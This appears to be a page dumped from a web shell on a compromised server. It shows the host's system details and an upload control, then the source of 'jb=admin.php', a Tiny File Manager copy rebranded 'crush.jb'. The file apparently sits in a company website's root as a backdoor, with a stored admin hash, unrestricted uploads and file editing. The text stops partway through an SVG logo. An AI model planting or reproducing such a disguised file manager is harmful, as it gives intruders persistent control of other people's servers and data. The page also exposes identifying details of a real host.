HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux srv1.dlabib.net 6.8.0-94-generic #96-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 9 20:36:55 UTC 2026 x86_64
User: hbkconsultan_usr (1002)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/hbkconsultan_usr/data/www/hbkconsultancy.com/jb=admin.php
<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"dark"}';

//TFM version
define('VERSION', '2.6');

//Application Title
define('APP_TITLE', 'crush.jb');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$NWIHPRzR4jmpmDYElmfx5OP4wNohSt964qSIhoGl3v0FXP2j1YpcO' ); 

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array();

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
//make sure update $root_url in next section
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Available rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'false';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__ . '/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.2/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID);
    function session_error_handling_function($code, $msg, $file, $line)
    {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset($_SESSION['token']);
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP()
    {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        } else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        } else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if ($ip_ruleset == 'AND') {
        if ($whitelisted == true && $blacklisted == false) {
            $proceed = true;
        }
    } else
    if ($ip_ruleset == 'OR') {
        if ($whitelisted == true || $blacklisted == false) {
            $proceed = true;
        }
    }

    if ($proceed == false) {
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if ($ip_silent == false) {
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        // Logging In
        sleep(1);
        if (function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center align-content-center h-100vh">
                    <div class="card-wrapper">
                        <div class="card fat" data-bs-theme="<?php echo FM_THEME; ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                        <div class="brand">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100px" height="133px" viewBox="0 0 100 133" version="1.1">
<rect width="100%" height="100%" fill="white" />
<g id="surface1">
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 0 66.433594 L 0 125.152344 L 99.945312 125.152344 L 99.945312 7.714844 L 0 7.714844 Z M 76.09375 38.703125 L 76.09375 56.671875 L 75.238281 58.242188 C 73.695312 61.058594 73.027344 63.015625 73.441406 63.519531 C 73.585938 63.707031 73.640625 63.613281 73.855469 62.816406 C 73.988281 62.324219 74.535156 61.019531 75.066406 59.929688 L 76.027344 57.949219 L 76.160156 61.246094 L 76.613281 60.316406 C 77.171875 59.144531 77.824219 57.257812 77.824219 56.777344 C 77.824219 56.046875 78.039062 55.726562 78.53125 55.726562 C 78.8125 55.726562 79.078125 55.820312 79.210938 55.980469 C 79.425781 56.21875 79.425781 56.300781 79.089844 57.441406 C 78.890625 58.109375 78.585938 59.027344 78.398438 59.476562 C 76.664062 63.734375 74.601562 65.410156 72.429688 64.304688 C 71.640625 63.917969 71.523438 63.960938 72.121094 64.425781 C 73.347656 65.355469 74.90625 65.410156 75.851562 64.542969 C 76.078125 64.34375 76.09375 64.410156 76.09375 66.140625 L 76.09375 67.9375 L 76.664062 68.03125 C 77.664062 68.203125 78.597656 68.628906 79.011719 69.105469 C 80.0625 70.289062 79.597656 71.433594 77.597656 72.589844 L 76.640625 73.148438 L 77.171875 74.707031 C 77.464844 75.558594 77.679688 76.328125 77.636719 76.433594 C 77.53125 76.6875 76.664062 77.035156 76.347656 76.941406 C 76.105469 76.859375 76.09375 76.96875 76.09375 81.023438 C 76.09375 83.390625 76.144531 85.105469 76.210938 84.988281 C 76.28125 84.878906 76.585938 84.042969 76.890625 83.125 C 77.210938 82.207031 77.558594 81.382812 77.664062 81.289062 C 77.917969 81.089844 79.210938 81.078125 79.570312 81.261719 C 79.96875 81.476562 79.878906 81.863281 79.15625 83.125 C 78.476562 84.308594 77.558594 86.289062 77.039062 87.699219 L 76.746094 88.484375 L 78.160156 88.390625 C 79.652344 88.285156 79.957031 88.363281 79.957031 88.855469 C 79.957031 89.148438 79.878906 89.175781 77.957031 89.507812 C 77.117188 89.65625 76.210938 89.828125 75.960938 89.90625 C 75.707031 89.972656 75.332031 90.039062 75.132812 90.039062 C 74.921875 90.039062 74.761719 90.09375 74.761719 90.148438 C 74.761719 90.386719 75.105469 90.574219 75.585938 90.574219 L 76.09375 90.574219 L 76.09375 95.652344 L 74.867188 98.246094 C 74.199219 99.65625 73.601562 100.773438 73.546875 100.722656 C 73.507812 100.65625 73.386719 100.109375 73.292969 99.484375 C 73.214844 98.859375 73.027344 98.007812 72.882812 97.570312 C 72.707031 97.078125 72.574219 96.117188 72.480469 94.910156 C 72.414062 93.882812 72.292969 92.527344 72.226562 91.902344 C 72.027344 90.121094 71.988281 90.226562 72.800781 90.121094 C 74.242188 89.933594 74.332031 89.90625 74.398438 89.535156 C 74.492188 89.082031 74.28125 88.84375 74.066406 89.148438 C 73.945312 89.296875 73.453125 89.429688 72.5625 89.574219 C 71.828125 89.695312 70.855469 89.867188 70.390625 89.972656 C 68.445312 90.425781 68.230469 90.1875 69.042969 88.40625 C 69.351562 87.738281 69.804688 86.648438 70.042969 86.011719 L 70.496094 84.839844 L 70.164062 83.722656 C 69.988281 83.113281 69.75 81.808594 69.628906 80.835938 C 69.523438 79.867188 69.363281 78.710938 69.296875 78.269531 C 69.230469 77.832031 69.164062 77.460938 69.164062 77.433594 C 69.164062 77.417969 69.457031 77.40625 69.816406 77.40625 C 70.507812 77.40625 70.855469 77.167969 70.707031 76.792969 C 70.65625 76.632812 70.535156 76.609375 70.324219 76.675781 C 70.164062 76.726562 69.578125 76.820312 69.03125 76.886719 C 68.484375 76.953125 67.511719 77.101562 66.859375 77.21875 C 65.550781 77.460938 65.230469 77.417969 64.644531 76.925781 C 64.140625 76.5 64.140625 76.316406 64.617188 75.25 C 65.164062 74.015625 66.9375 69.292969 66.871094 69.214844 C 66.738281 69.09375 64.550781 69.480469 64.324219 69.664062 C 63.804688 70.117188 61.261719 75.609375 60.980469 76.902344 C 60.914062 77.179688 60.792969 77.285156 60.449219 77.339844 C 59.902344 77.445312 59.167969 77.113281 59.167969 76.753906 C 59.167969 76.449219 60.488281 72.589844 61.035156 71.289062 C 61.699219 69.707031 61.753906 69.839844 60.472656 69.917969 C 59.714844 69.972656 59.195312 69.929688 58.835938 69.796875 C 58.542969 69.707031 58.207031 69.640625 58.101562 69.664062 C 57.648438 69.746094 55.4375 74.226562 54.742188 76.433594 C 54.464844 77.351562 54.425781 77.40625 53.984375 77.484375 C 53.425781 77.59375 52.851562 77.328125 52.796875 76.925781 C 52.746094 76.566406 53.863281 73.148438 54.585938 71.460938 C 54.902344 70.714844 55.171875 70.078125 55.171875 70.0625 C 55.171875 70.039062 54.652344 70.039062 54.023438 70.0625 C 53.226562 70.105469 52.679688 70.050781 52.226562 69.90625 C 51.785156 69.757812 51.359375 69.71875 50.878906 69.773438 C 50.039062 69.863281 49.945312 69.972656 49.015625 71.808594 L 48.359375 73.082031 L 49.492188 73.148438 C 51.09375 73.242188 51.464844 73.707031 50.066406 73.882812 C 49.308594 73.972656 47.839844 74.226562 47.839844 74.28125 C 47.839844 74.292969 47.601562 74.839844 47.320312 75.515625 L 46.800781 76.726562 L 48.734375 76.648438 L 50.667969 76.566406 L 50.613281 76.886719 C 50.574219 77.167969 50.480469 77.21875 49.773438 77.3125 C 49.332031 77.378906 48.269531 77.539062 47.402344 77.683594 L 45.828125 77.9375 L 45.296875 77.671875 C 44.402344 77.207031 44.390625 77.007812 45.148438 75.199219 C 45.507812 74.320312 46.1875 72.589844 46.640625 71.355469 C 47.09375 70.105469 47.546875 69.027344 47.640625 68.945312 C 47.855469 68.789062 52.359375 68.722656 52.785156 68.867188 C 52.933594 68.933594 53.558594 68.894531 54.183594 68.8125 C 55.996094 68.546875 59.703125 68.347656 60.300781 68.496094 C 60.621094 68.574219 61.273438 68.574219 61.96875 68.496094 C 63.9375 68.296875 66.550781 68.203125 66.898438 68.320312 C 67.125 68.414062 67.335938 68.402344 67.5625 68.269531 C 67.75 68.175781 67.84375 68.097656 67.765625 68.097656 C 67.683594 68.097656 67.628906 67.65625 67.628906 67.058594 C 67.628906 66.378906 67.550781 65.875 67.402344 65.554688 L 67.175781 65.078125 L 67.832031 64.652344 C 69.042969 63.867188 70.28125 62.230469 71.003906 60.488281 C 71.402344 59.476562 71.546875 58.042969 71.28125 57.574219 C 71.109375 57.28125 71.09375 57.324219 71.015625 58.199219 C 70.800781 60.515625 68.789062 63.546875 66.882812 64.4375 C 65.566406 65.050781 63.738281 64.71875 63.113281 63.773438 C 62.765625 63.242188 62.6875 61.964844 62.953125 60.96875 C 63.21875 59.929688 63.234375 59.984375 62.765625 59.984375 C 62.554688 59.984375 62.367188 59.941406 62.367188 59.875 C 62.367188 59.824219 62.886719 59.226562 63.5 58.546875 C 64.566406 57.390625 64.886719 56.789062 64.445312 56.789062 C 64.140625 56.789062 62.085938 59.027344 60.59375 60.980469 C 59.96875 61.792969 59.675781 62.324219 59.339844 63.308594 C 59.101562 64 58.902344 64.679688 58.902344 64.796875 C 58.902344 65.222656 57.570312 65.289062 57.089844 64.890625 C 56.824219 64.664062 56.851562 64.398438 57.316406 63.109375 C 57.714844 61.953125 57.714844 61.9375 57.582031 60.527344 C 57.503906 59.757812 57.421875 58.851562 57.394531 58.535156 L 57.371094 57.949219 L 55.4375 57.203125 C 54.371094 56.789062 52.890625 56.113281 52.144531 55.671875 C 50.746094 54.890625 50.53125 54.675781 49.253906 52.921875 C 48.761719 52.242188 48.015625 51.511719 47.90625 51.617188 C 47.882812 51.644531 48.015625 52.203125 48.1875 52.867188 C 48.5625 54.265625 48.601562 55.5 48.308594 56.859375 C 48.1875 57.363281 48.015625 58.441406 47.894531 59.226562 C 47.546875 61.683594 45.617188 69.945312 45.441406 69.730469 C 45.402344 69.679688 45.136719 68.722656 44.855469 67.617188 C 44.390625 65.769531 44.363281 65.503906 44.441406 64.398438 C 44.484375 63.734375 44.578125 63.027344 44.628906 62.816406 C 44.734375 62.457031 44.75 62.484375 45.175781 63.414062 C 45.84375 64.890625 45.800781 64.453125 45.121094 62.855469 C 44.335938 61.035156 44.070312 60.515625 43.644531 60.007812 C 43.308594 59.609375 43.296875 59.597656 42.816406 59.796875 C 42.550781 59.917969 42.21875 60.128906 42.085938 60.289062 C 41.871094 60.527344 41.832031 60.542969 41.898438 60.34375 C 41.9375 60.195312 41.925781 60.128906 41.84375 60.183594 C 41.765625 60.222656 41.710938 60.328125 41.710938 60.410156 C 41.710938 60.488281 41.511719 60.792969 41.269531 61.101562 C 41.019531 61.40625 40.726562 61.820312 40.605469 62.042969 C 40.484375 62.257812 40.390625 62.378906 40.390625 62.308594 C 40.378906 62.152344 40.84375 61.378906 41.3125 60.753906 L 41.644531 60.316406 L 41.085938 60.753906 C 40.777344 60.992188 40.5 61.125 40.457031 61.058594 C 40.417969 60.992188 40.179688 60.902344 39.910156 60.859375 C 39.660156 60.808594 39.417969 60.703125 39.367188 60.621094 C 39.300781 60.515625 39.351562 60.5 39.527344 60.566406 C 39.660156 60.632812 39.886719 60.714844 40.019531 60.753906 C 40.246094 60.808594 40.257812 60.792969 40.097656 60.527344 C 39.992188 60.382812 39.84375 60.25 39.765625 60.25 C 39.683594 60.25 39.539062 60.15625 39.445312 60.050781 C 39.351562 59.941406 39.230469 59.851562 39.179688 59.851562 C 39.046875 59.851562 38.417969 61.367188 38.3125 61.9375 C 38.234375 62.351562 38.246094 62.378906 38.605469 62.390625 C 39.804688 62.457031 40.003906 62.5625 40.363281 63.347656 C 40.792969 64.253906 40.886719 65.703125 40.589844 66.59375 C 40.484375 66.9375 40.351562 67.40625 40.3125 67.628906 C 40.070312 68.855469 40.070312 68.867188 40.324219 69 C 40.589844 69.132812 41.3125 69.148438 41.3125 69.015625 C 41.3125 68.972656 41.097656 68.746094 40.84375 68.496094 C 40.589844 68.242188 40.378906 67.976562 40.378906 67.910156 C 40.378906 67.828125 40.660156 68.042969 40.992188 68.386719 C 41.605469 69.015625 41.617188 69.027344 42.496094 69.039062 C 43.535156 69.054688 44.109375 69.226562 44.628906 69.730469 C 45.65625 70.703125 45.136719 72.113281 43.457031 72.898438 C 43.097656 73.070312 42.789062 73.242188 42.777344 73.28125 C 42.777344 73.324219 42.949219 73.441406 43.164062 73.5625 C 43.65625 73.855469 44.042969 74.8125 43.921875 75.476562 C 43.738281 76.460938 42.085938 77.605469 40.339844 77.953125 C 39.699219 78.085938 39.433594 78.070312 38.632812 77.871094 C 37.953125 77.710938 37.648438 77.683594 37.539062 77.792969 C 37.460938 77.871094 37.140625 77.9375 36.820312 77.9375 C 36.367188 77.9375 36.207031 77.871094 36.046875 77.617188 C 35.847656 77.3125 35.859375 77.207031 36.515625 75.449219 C 36.898438 74.441406 37.539062 72.925781 37.925781 72.085938 C 38.328125 71.25 38.59375 70.542969 38.527344 70.515625 C 38.445312 70.488281 38.257812 70.371094 38.101562 70.238281 C 37.832031 70.023438 37.832031 69.996094 38.03125 69.785156 C 38.152344 69.664062 38.460938 69.519531 38.699219 69.4375 C 38.953125 69.371094 39.257812 69.214844 39.40625 69.082031 C 39.644531 68.828125 39.617188 68.761719 38.140625 65.703125 C 36.101562 61.472656 35.953125 61.191406 34.0625 58.253906 C 33.753906 57.773438 33.355469 57.058594 33.183594 56.65625 C 32.996094 56.257812 32.796875 55.886719 32.730469 55.847656 C 32.664062 55.792969 32.664062 55.6875 32.703125 55.605469 C 32.757812 55.527344 32.742188 55.460938 32.675781 55.460938 C 32.597656 55.460938 32.554688 55.261719 32.570312 55.007812 C 32.582031 54.757812 32.554688 54.570312 32.503906 54.609375 C 32.34375 54.703125 32.488281 52.855469 32.675781 52.402344 L 32.875 51.9375 L 33.089844 52.667969 C 33.621094 54.464844 34.847656 55.847656 37.445312 57.574219 C 39.390625 58.867188 39.417969 58.890625 39.21875 58.640625 C 39.058594 58.441406 39.179688 58.082031 39.390625 58.121094 C 39.457031 58.121094 39.527344 58.015625 39.550781 57.855469 C 39.578125 57.707031 39.527344 57.589844 39.445312 57.589844 C 39.351562 57.589844 39.3125 57.667969 39.351562 57.761719 C 39.390625 57.855469 39.3125 57.933594 39.164062 57.933594 C 38.980469 57.933594 38.953125 57.894531 39.085938 57.734375 C 39.21875 57.574219 39.207031 57.550781 39.019531 57.628906 C 38.859375 57.683594 38.78125 57.65625 38.78125 57.535156 C 38.78125 57.402344 38.871094 57.375 39.074219 57.429688 C 39.257812 57.46875 39.324219 57.457031 39.257812 57.347656 C 39.207031 57.257812 39.230469 57.191406 39.300781 57.191406 C 39.378906 57.191406 39.445312 57.109375 39.445312 57.015625 C 39.445312 56.910156 39.566406 56.722656 39.710938 56.589844 C 39.859375 56.457031 39.925781 56.3125 39.859375 56.273438 C 39.792969 56.230469 39.820312 56.113281 39.910156 56.03125 C 40.058594 55.898438 40.085938 55.925781 40.070312 56.164062 C 40.070312 56.324219 40.003906 56.5 39.9375 56.539062 C 39.792969 56.644531 39.9375 56.925781 40.125 56.925781 C 40.207031 56.925781 40.21875 56.859375 40.164062 56.765625 C 40.097656 56.65625 40.136719 56.644531 40.296875 56.699219 C 40.433594 56.75 40.589844 56.789062 40.660156 56.789062 C 40.726562 56.789062 40.777344 56.84375 40.777344 56.925781 C 40.777344 56.992188 40.699219 57.058594 40.605469 57.058594 C 40.511719 57.058594 40.363281 57.175781 40.273438 57.324219 C 40.179688 57.46875 40.164062 57.589844 40.230469 57.589844 C 40.3125 57.589844 40.433594 57.484375 40.5 57.347656 C 40.632812 57.136719 40.660156 57.136719 40.84375 57.390625 C 41.042969 57.628906 41.058594 57.628906 41.203125 57.214844 C 41.3125 56.964844 41.445312 56.816406 41.539062 56.84375 C 41.765625 56.9375 41.765625 56.722656 41.523438 56.539062 C 41.378906 56.417969 41.324219 56.457031 41.257812 56.722656 C 41.203125 56.910156 41.125 57.058594 41.058594 57.058594 C 40.832031 57.058594 41.070312 56.550781 41.457031 56.164062 C 41.671875 55.964844 41.84375 55.6875 41.84375 55.566406 C 41.84375 55.433594 41.992188 55.300781 42.175781 55.25 C 42.363281 55.207031 42.511719 55.113281 42.511719 55.0625 C 42.511719 54.996094 42.832031 54.847656 43.21875 54.742188 C 43.988281 54.503906 44.335938 54.316406 44.214844 54.199219 C 44.175781 54.15625 44.308594 53.929688 44.523438 53.691406 C 44.734375 53.464844 44.910156 53.171875 44.910156 53.039062 C 44.910156 52.921875 45.097656 52.628906 45.308594 52.402344 C 45.535156 52.175781 45.707031 51.855469 45.707031 51.695312 C 45.707031 51.445312 45.628906 51.40625 45.242188 51.40625 C 44.976562 51.40625 44.65625 51.523438 44.484375 51.671875 C 44.054688 52.042969 43.816406 52.121094 43.484375 51.988281 C 43.296875 51.921875 43.175781 51.9375 43.136719 52.042969 C 43.109375 52.121094 42.84375 52.203125 42.539062 52.214844 C 42.097656 52.230469 41.964844 52.175781 41.898438 51.964844 C 41.816406 51.710938 41.644531 51.695312 40.578125 51.910156 C 40.433594 51.949219 40.207031 51.910156 40.085938 51.855469 C 39.953125 51.789062 39.617188 51.710938 39.339844 51.683594 C 38.710938 51.617188 37.820312 51.230469 37.925781 51.058594 C 38.03125 50.886719 37.792969 50.914062 37.59375 51.097656 C 37.460938 51.246094 37.433594 51.230469 37.472656 51.070312 C 37.5 50.953125 37.394531 50.859375 37.179688 50.832031 C 36.886719 50.78125 36.621094 50.539062 36.648438 50.339844 C 36.648438 50.300781 36.566406 50.167969 36.445312 50.0625 C 36.339844 49.941406 36.246094 49.808594 36.246094 49.742188 C 36.246094 49.59375 36.898438 49.394531 37.273438 49.421875 C 37.488281 49.4375 37.539062 49.382812 37.472656 49.222656 C 37.40625 49.035156 37.433594 49.035156 37.621094 49.195312 C 37.753906 49.304688 37.941406 49.328125 38.074219 49.277344 C 38.207031 49.210938 38.40625 49.183594 38.527344 49.195312 C 38.632812 49.210938 38.871094 49.15625 39.058594 49.089844 C 39.378906 48.957031 39.378906 48.957031 39.085938 48.957031 C 38.632812 48.945312 38.671875 48.476562 39.125 48.464844 C 39.367188 48.4375 39.445312 48.492188 39.390625 48.625 C 39.273438 48.945312 39.886719 49.144531 40.351562 48.929688 C 40.578125 48.835938 40.726562 48.703125 40.699219 48.652344 C 40.660156 48.597656 40.710938 48.546875 40.832031 48.546875 C 40.9375 48.546875 41.058594 48.625 41.097656 48.703125 C 41.136719 48.835938 41.21875 48.8125 41.351562 48.636719 C 41.457031 48.519531 41.632812 48.410156 41.738281 48.410156 C 42.070312 48.410156 42.109375 48.265625 41.84375 47.988281 C 41.589844 47.707031 40.390625 47.496094 39.285156 47.535156 C 38.953125 47.546875 38.753906 47.46875 38.660156 47.308594 C 38.527344 47.09375 38.621094 47.082031 40.164062 47.082031 C 41.898438 47.082031 43.535156 47.335938 44.070312 47.695312 C 44.46875 47.945312 44.457031 47.8125 44.03125 47.253906 C 43.828125 46.988281 43.578125 46.816406 43.402344 46.816406 C 43.242188 46.816406 42.789062 46.695312 42.390625 46.535156 C 41.792969 46.324219 41.324219 46.269531 39.683594 46.242188 C 38.472656 46.230469 37.6875 46.269531 37.660156 46.351562 C 37.621094 46.429688 37.539062 46.402344 37.460938 46.285156 C 37.394531 46.175781 37.367188 46.042969 37.394531 